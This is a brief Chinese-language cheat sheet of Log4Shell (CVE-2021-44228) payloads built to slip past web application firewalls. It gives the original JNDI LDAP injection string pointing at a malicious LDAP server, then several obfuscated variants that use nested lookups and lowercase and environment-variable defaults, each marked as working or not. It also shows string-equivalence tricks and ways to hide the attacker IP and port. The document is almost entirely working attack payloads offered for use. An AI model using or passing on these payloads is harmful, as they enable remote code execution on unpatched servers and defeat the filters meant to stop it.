log4j waf 绕过技巧
原来的poc:
${jndi:ldap://malicious-ldap-server.com/a}
绕过的poc:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://example.com/a}
可行
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/a}
不一定可行
${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//example.com}
可行
unico字符串
下列表达式均等价于abc:
a${:-b}c
a${::-b}c
a${E:-a}c
a${xxxanycodexxxx:-b}c
log4j poc集合
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis
● 不出现port,避免被waf匹配ip:port
${jndi:ldap:192.168.1.1/a}
${jndi:ldap:192.168.1.1:/a}
注意此时需要ldap服务端口为389
● 对IP添加包裹
前面两个类的解析逻辑中都有对中括号[]的处理,所以给ip添加一下包裹
${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a}
LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389
“优秀者模仿 , 伟大者剽窃。”